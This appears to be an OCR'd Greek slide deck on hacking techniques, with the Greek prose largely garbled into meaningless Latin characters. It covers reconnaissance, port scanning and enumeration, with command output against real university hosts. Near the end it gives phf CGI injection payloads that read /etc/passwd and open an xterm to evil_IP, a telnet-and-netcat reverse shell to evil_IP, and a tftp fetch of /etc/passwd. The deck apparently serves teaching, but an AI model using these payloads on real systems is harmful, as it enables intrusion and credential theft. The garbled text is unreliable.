{ HACKING & CRACKING



&W O &poduoc via To Cracking

" T1a va dIeIgdUCEl O EIOPOAEAG XPEIAZETAI UMOKOVT Kal
OTPATNYIKR. ZUVOUAOHOG TWV NAPAKATW HMOPEI va
(PEPEI EMITUYXIA:

= Avayvwpiorn OTOX0U
= Avayvwpion ZuUoTnUaTwy
= >Apwaon
= Evepyn ouAloyn nAnpo@opiwv (usernames, passwords, etc.)
= Algioduon oc eninedo AZ
= Algioduon o€ eninedo dIKTUOU
" EmBeoeIc pEow AoyIOHIKOU
= Epeic 6a YIANooUpE via:
= Avayvwpiorn OTOX0U
= Aigioduon o€ eninedo AZ (UNIX)



&M Avayvopion SUCTNHATWV

= SUAOYN YEVIKWV MANPOMOPINV

= Avayvwpion TonoAoyiac dikTuou

" Avayvwpion ouoTNHATWV-KOUPBWV Tou
OIKTUOU (apxITEKTOVIKN, AX, KAr.)

. Avayva)plon Ynnpsola)v Mou napexovral
ano Ta CUCTNUATA-KOUBOUC

" EmAoyn oToxwv pe Baon Ta napanavw
Kal TNV NOAITIKN Tou €I0B0AEa



Avayvwpion ZuoThHaTwWV

= JUN\OYN YEVIKWV NANPOPOPIWV

= Usenet

= JRC

= Search engines

= Financial DBs (EDGAR)
= Avayvwplion ZUoTnHAaTwv

= Domain Names
Mepioxn IP dieubuvoewv
IP dieubuvoeic npooneAdoiyec anod Internet
Ynnpeoiec TCP&AUDP nou napexouv Ta eVTONIOPEVA CUCTAUATA
APXITEKTOVIKEC EVTOMIOPEVWY cuoTnUATwy (X86, SPARC, SGI)
Mnxaviopoi eheyxou npoapaonc (AC) kai kavoveg firewalls
>uoTnuarta evroniopou EioBoAwv (IDS)

EvepynTikiy GUAOYI NANPOPOPIWY: Usernames, groupnames, passwords,
banners, routing tables, SNMP information, etc.



&W Avayvwpion ZuoThHaTwV

= EpyaAeia avayvwpionc
= whois
= host
= nslookup
= dig
= axfr
" ping
= traceroute



Avayvwpion ZuoTnUaTwy

[Evil]$ whois ”lan.” \
@whois.internic.net

LAN-BASE.COM
LAN-B.COM
LAN-AUDITING-SOFTWARE .COM
LAN-AT-KIRCHBERG.COM
LAN-ASSOCIATES.COM
LAN-ASSIST.NET
LAN-ASSIST.COM
LAN-ART.NET
LAN-ART.COM
LAN-ARIS.COM
LAN-ARGENTINA.COM
LAN-ARENA.NET
LAN-ARENA.COM
LAN-AREA.NET
LAN-AREA.COM
LAN-ARCHITECTURE.COM
LAN-ARCHITECT.NET
LAN-ARCHITECT.COM

whois example

[Evil]$ whois ”"lan-b.com” \
Qwhois.internic.net

Domain Name: LAN-B.COM
Registrar: TUCOWS INC.
Whois Server: whois.opensrs.net

Referral URL:
http://domainhelp.tucows.com

Name Server: NS2.NAMESPACE4YOU.COM
Name Server: NS.NAMESPACE4YOU.COM
Status: clientTransferProhibited
Status: clientUpdateProhibited Status:
clientDeleteProhibited Updated Date:
07-jan-2007 Creation Date: 13-jan-2006
Expiration Date: 13-jan-2008

>>>Last update of whois database: Fri,
2 Feb 2007 08:34:07 EST <<<



Avayvwpion ZuoTnUaTwy

host example

[evil]$ host -t any -1 eng.auth.gr

eng.auth.gr has SOA record vergina.eng.auth.gr.
hostmaster.vergina.eng.auth.gr. 200603114 10800 3600 604800 172800

eng.auth.gr name server evia.ccf.auth.gr.

eng.auth.gr name server thalia.ccf.auth.gr.

eng.auth.gr name server vergina.eng.auth.gr.

eng.auth.gr name server philippos.ccf.auth.gr.
eng.auth.gr mail is handled by 0 vergina.eng.auth.gr.
eng.auth.gr mail is handled by 100 mailsrvl.ccf.auth.gr.
eng.auth.gr mail is handled by 200 mailsrv2.ccf.auth.gr.
eng.auth.gr has address 155.207.18.1

adsl.eng.auth.gr has address 155.207.18.28
aeschylus.eng.auth.gr has address 155.207.18.73
aiges.eng.auth.gr is an alias for zeus.csd.auth.gr.
alkistis.eng.auth.gr has address 155.207.18.18
amphipolis.eng.auth.gr has address 155.207.18.19
andonis.eng.auth.gr has address 155.207.18.77
anoixto.eng.auth.gr has address 155.207.18.249



Avayvwpion ZuoTnUaTwy

axfr example

= [leplodika enavalapBavopevec HeTaPopeS (wvng

= Anuloupyla oupnlsousvnq Baonc 6860|Jsvwv ue apyeia {wvng Kai
ouoTNUAaTwV yia kabs domain nou e&etadleral

- Kaeopmpog domain avwTaTou eninedou, onwg com Kai org, yia va
ncupvoups NANPOPOPIEC yia OAa Ta domaln MOU AVNKOUV OTIC
KaTnyopiec com kai org avTioToixa (d€ ouvioTarai).

[evil]$ axfr victim.gr

axfr: Using default directory: /root/axfrdb
Found 2 name servers for domain ‘victim.gr’
Text deleted.

Received XXX answers (XXX records).



Avayvwpion ZuoThHaTwV

= AogaAeia ouotnuaToc DNS

[MeplopIOPOC TWV GUOTNUATWY MOU £XOUV JIKAiwHa
ueTapopa (wvnc ano Touc DNS servers pac.

Meplopiopoc TNG NopTac 53 oto npwTokoAo TCP povo ota
OUCTNUATA OTA onoia ENITPENOUNE PeTapopa (wvne ano To
DNS server pac, €ite peow nepigeTpikou firewall, €ite peow
Tou firewall Tou idlou Tou server, €iTe kal Ta duo. Ta anAa
epwTNUaTta DNS £pyovTal otnv nopta 53 UDP.

'Ox1 xpnon INFO RRs kal yevikwg sm)\oyr] OVONATWV XWpPou
nou va pnv anokaAunTouv nsplTng n)\npocpoplaq yia Ta
OUCTNUATA Pag (onwg AX. ovouaTta Tou Tunou
win98se.victim.gr, cisco.victim.gr, firewall.victim.gr, etc.).



Avayvwpion ZuoTnUaTwy

= Avayvwpion dIKTUOU
= EpyaAeio ping (ICMP)
= AnooToAn nakETou echo request
= Anwn nakeTou echo reply
= EpyaAcio traceroute

= ANOOTOAN O€IPAC NAKETWV JE KaTaMnAa TTLs

= MpoBoAn Twv hops (routers) pera&u Tou CUCTAKATOC KAC
Kal TOU OTOXOU Mag

= AuvaToTNTa XPnonc cuykekpigevou destination port
(UDP) (napakapyn firewall)



&W >ApWOon

" EUpeon Twv cuoTnUATWVY Mou gival
«(wVTava» o€ gva OIKTUO

. Eupson unnpsolwv nou NPOOpEPOVTAl
ano Ta CUCTNHATA-OTOXOUC

" Eu DEDN €K600nq TWV unnpsolwv nou
napexovTal ano Ta CUCTHHATA-0TOXOUC

= Eu DEDT AEITOUPYIKOU OUOTI‘]LICITOC Kal
£KOOONC TWV CUCTNUATWV-OTOXWV




2apwon

= Ta TNV €Upeon TWV «{WVTAVWwV>» CUGTNPATWV XPNOIKONOIOUME
ouvouaopo gping Kai fping.
= gping: dnuioupysi Aiota IPs
= fping: eAeyxel av To gUCTNMA €ivar up
= EEoou duvaTo €ival kal To NOAUEPYAAEIO nmap

[evil]$ nmap —-sP 192.168.0.0/24
[evil]$ nmap -sP —-PT80 192.168.0.0/24 (unreliable)

= [lepIOOOTEPO EYKUPO ANO TO nmap Kal Je eninAgov duvaToTNTECG €ival TO
hping:

" [evil]$ hping 192.168.0.1 -S -p 80 -f
=  AuvatoTnTa KaTaKsppaTlopoﬂj nakeTwv (mbavn napc'lKaprr] firewall)

= EminAgov duvarotnTa Xprong crafted packets ano To epyaAsio
icmpenum (Xpnoidonolei default ICMP TIME STAMP REQUEST)

" To epyaleio icmpquery enmoTpepel TIMESTAMP kai subnetmask evog
ouoTnuartoc, e xpnon Twv flags t kar m avrioToixa



2apwon

nmap example

[evil]$ nmap -sP 155.207.18.0/24

Starting Nmap 4.20 ( http://insecure.org ) at 2007-02-02 19:28 EET
Host vergina.eng.auth.gr (155.207.18.1) appears to be up.

Host argo.eng.auth.gr (155.207.18.2) appears to be up.

Host aptera.eng.auth.gr (155.207.18.3) appears to be up.

Host egnatiaw2.eng.auth.gr (155.207.18.5) appears to be up.

Host mgs.eng.auth.gr (155.207.18.35) appears to be up.

[evil]$ nmap -sP -PT80 155.207.18.0/24

Starting Nmap 4.20 ( http://insecure.org ) at 2007-02-02 19:29 EET
Host vergina.eng.auth.gr (155.207.18.1) appears to be up.

Host argo.eng.auth.gr (155.207.18.2) appears to be up.

Host aptera.eng.auth.gr (155.207.18.3) appears to be up.

Host mgs.eng.auth.gr (155.207.18.35) appears to be up.

Host elab3.eng.auth.gr (155.207.18.50) appears to be up.

Host englab.eng.auth.gr (155.207.18.53) appears to be up.

Host elabll.eng.auth.gr (155.207.18.67) appears to be up.

Host atlantas-vlanl8.ccf.auth.gr (155.207.18.100) appears to be up.
Host tweety.eng.auth.gr (155.207.18.118) appears to be up.

Host wireless.eng.auth.gr (155.207.18.121) appears to be up.



2apwon

fping - hping example

[evil]$ fping -g 155.207.18.0/24
155.207.18.2 is alive
155.207.18.3 is alive
155.207.18.5 is alive
155.207.18.35 1is alive
155.207.18.50 is alive
155.207.18.67 is alive
155.207.18.73 1is alive

[evil]$ hping 155.207.18.1 -S -p 80 -f
HPING 155.207.18.1 (re(O 155.207.18.1): S set, 40 headers + 0 data bytes

len=46 1ip=155.207.18.1 ttl=62 DF id=0 sport=80 flags=SA seqgq=0 win=5840
rtt=0.7 ms

len=46 1p=155.207.18.1 ttl=62 DF i1id=0 sport=80 flags=SA seg=1 win=5840
rtt=0.5 ms

len=46 1ip=155.207.18.1 ttl=62 DF id=0 sport=80 flags=SA seg=2 win=5840
rtt=0.6 ms

len=46 1ip=155.207.18.1 ttl=62 DF 1id=0 sport=80 flags=SA seqg=3 win=5840
rtt=0.6 ms



&M >ApWOon

Zapwon Bupwv

= TCP Connect (SYN, SYN/ACK, ACK)

TCP SYN (SYN, SYN/ACK, RST/ACK)

TCP FIN

TCP Xmas Tree (FIN, URG, PUSH)

TCP Null (0Aec o1 flags €ival anevepyonoinuUEVEC)
TCP ACK

TCP Windows (ekpetaleuon bugs Tou TCP stack otov
TPOMNO avagopag aTo Peyebog napadupou Kanoiwv
OUCTNHUATWV)

TCP RPC (UNIX, avixveuel kal npoadiopilel BUpec RPC)
UDP



2apwon

SATANf/ SAINT EvaIAEiCI
UNIX / TCP UDP | Andkpuyn
Strolje X
ﬂp_scan X
Udp_scan X
Nmap X X X
netcat X X




2apwon

[evil]$ strobe 192.168.0.1

Strobe 2.01 (c) 2001 Julian Assange (proff@suburbia.net)
192.168.0.1 ftp 21/tcp File Transfer [Control] [96,JBP]
192.168.0.1 ssh 22/tcp Secure Shell

[evil]$ udp_scan 192.168.0.1 1-1024
42 : UNKNOWN :
53 : UNKNOWN :

[evil]$ nc -v -z -w2 192.168.0.1 1-1024
[192.168.0.1] 21 (ftp) open
[192.168.0.1] 22 (ssh) open

[evil]$ nc -v -z -w2 —-u 192.168.0.1 1-1024
[192.168.0.1] 42 (name) open
[192.168.0.

e
—

53 (domain) open



2apwon

[evil]$ nmap -sS 155.207.18.1

Starting Nmap 4.20 ( http://insecure.org ) at 2007-02-02 20:12 EET
Interesting ports on vergina.eng.auth.gr (155.207.18.1):
Not shown: 1685 closed ports

PORT STATE SERVICE

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

443/tcp open https

587/tcp open submission

993/tcp open imaps

995/tcp open pop3s

8009/tcp open ajpl3

8081/tcp open blackice-icecap

8082/tcp open blackice-alerts

Nmap finished: 1 IP address (1 host up) scanned in 1.338 seconds



*W >ApWOon

[evil]# nmap -sS -P0 -sV -0 155.207.18.1

Starting Nmap 4.20 ( http://insecure.org ) at 2007-02-02 20:13 EET
Interesting ports on vergina.eng.auth.gr (155.207.18.1):
Not shown: 1685 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh SCS sshd 3.2.9.1 (protocol 2.0)

25/tcp open smtp Sendmail 8.13.6/8.13.6

53/tcp open domain ISC Bind 9.2.2-P3

80/tcp open http Apache httpd 1.3.37 ((Unix) mod_ssl1l/2.8.28 OpenSSL/0.9.7d PHP/4.3.11)

111/tcp open rpcbhind 2 (rpc #100000)

443/tcp open ssl/http Apache httpd 1.3.37 ((Unix) mod_ssl/2.8.28 OpenSSL/0.9.7d PHP/4.3.11)
587/tcp open smtp Sendmail 8.13.6/8.13.6

993/tcp open ssl/imap UW imapd 2004.357

995/tcp open ssl/pop3 UW Imap pop3d 2003.83

8009/tcp open ajpl3?

8081/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8082/tcp open http Apache Tomcat/Coyote JSP engine 1.1

No exact OS matches for host (If you know what OS is running on it, see
http://insecure.org/nmap/submit/ ).

TCP/IP fingerprint:
OS:SCAN (V=4.20%D=2/2%0T=22%CT=1%CU=41784%PV=N%DS=2%G=Y%$TM=45C37FA9%P=1386-p

Uptime: 3.693 days (since Tue Jan 30 03:37:03 2007)
Network Distance: 2 hops
Service Info: 0S: Unix



2apwon

[evil]$ nmap -sU -PU 155.207.18.1

Starting Nmap 4.20 ( http://insecure.org ) at 2007-02-02 20:18
EET

Interesting ports on vergina.eng.auth.gr (155.207.18.1):
Not shown: 1483 closed ports

PORT STATE SERVICE

53/udp open|filtered domain

111/udp open|filtered rpcbind

161/udp open|filtered snmp

162/udp open|filtered snmptrap

518/udp open ntalk

Nmap finished: 1 IP address (1 host up) scanned in 1478.147
seconds
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*W Evepyrn oUAAOYR NANPOMOPINV

= Usernames

= Groups

= Passwords

= | ogged-in users
= Network shares
= RPC information
= SNMP




Evepyn ouAAoyn nAnpopopiwv

[evil]$ showmount -e 192.168.0.1
export list for 192.168.0.1

/pub (everyone)
/usr (everyone)
/home (user)

[evil]$ finger -1 Q@victim.gr

[victim.gr]

Login: root Name: root

Directory: /root Shell: /bin/bash

On since Sun 28 12:13 (PST) on ttyl 26 minutes idle
(messages off)

No mail.

Plan:

John Doe

Security Guru
Telnet password is my birthdate



Evepyn ouAAoyn nAnpopopiwv

[evil]$ rpcinfo -p 192.168.0.1
program vers proto port

100000 2 tcp 111 rpcbind
100005 1 udp 635 mountd
100013 2 udp 2049 nfsd

[evil]$ rwho 192.168.0.1
root localhost:ttyp0 Apr 11 10:20
lele victim:ttypl Apr 11 09:10

[evil]$ rusers -1 192.168.0.1

root localhost:ttyp0 Apr 11 10:20 :51
lele victim:ttypl Apr 11 09:10 :02 (0.0)

[evil]$ telnet 192.168.0.1 25
Escape character is “*'.
[ESMTP]

vrfy root

250 root <root@victim.gr>
expn root

250 root lele@victim.gr

[evil]$ tftp 192.168.0.1
tftp> connect 192.168.0.1
tftp> get /etc/passwd /tmp/passwd.victim



EniBeocic oe UNIX

= Vulnerability mapping
= XeIpOKiVNTOG GUOXETIONOC UNNPECIWV OUCTNHATOC PE Bugtraq kai

CERT

= Usenet, mailing lists, IRC, googling yia eupeon epyaeinv

avaCnTnonq 0UYK£KpI|JEV(DV TPWTWV ONUEIWV

Xpnon auTopaTonoINuEVwY ePYAALinV avalnTnong TPWTWV CNUEIWY
onwc Ta Nessus (wWww.nessus.org) kar SAINT
(www.wwdsi.com/saint)

= Aev Eexvw

AenTouEPN avayvwpion Tou JIKTUOU TOU OUOTI"]LI(]TOC;-OTC')XOU

AvTigToixI0n AZ, APXITEKTOVIKNG, UNNPECI®V, KAM OE YVWwoTa TPWTA
onueia Kai TEXVIKEC EKMETAANEUGNC TOUG

Enidoyr) oTOxou pe Baocn Tnv TonoAoyia Tou SIKTUOU Kal TNV
EUKO)\ICI dieioduonc

Kataypagr) niBavwv onpeiov €100d0u Kal Ta§ivopnon kata oeipa
NPOTEPAIOTNTAC



EniBeoeic oe UNIX

" Anopakpuopevn npooBaon
= Buffer overflow
= Brute force attack
= ftp
Ssh
telnet
rlogin,rsh,etc.
SNMP
POP/IMAP
HTTP/HTTPS
DataBases

= Input validation
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EniBeocic oe UNIX

= Input validation attack (eni@gon emkUpwong e100d0u)

/cqi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
/cqi-bin/phf? Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%?20-
display%?20evil_IP:0.0

reverse telnet and back channels
[evil]# nc =l -n —v —p 80
[evil]# nc =l —n —v —p 25

/usr/bin/telnet evil_IP 80 | /bin/sh | /usr/bin/telnet evil_IP 25



EniBeoeic oe UNIX

TFTP

FTP

Sendmail

RPC

NFS shell

X

DNS

Brute force (crack, john)
Symbolic links

File descriptors

Race conditions

Core files

Shared libraries (LD_PRELOAD)
Kernel vulnerabilities

File permissions, SUID, GID
Rootkits

Trojan horses

Sniffers

Logfile tampering with
Kernel rootkits



{ Cheers

mates



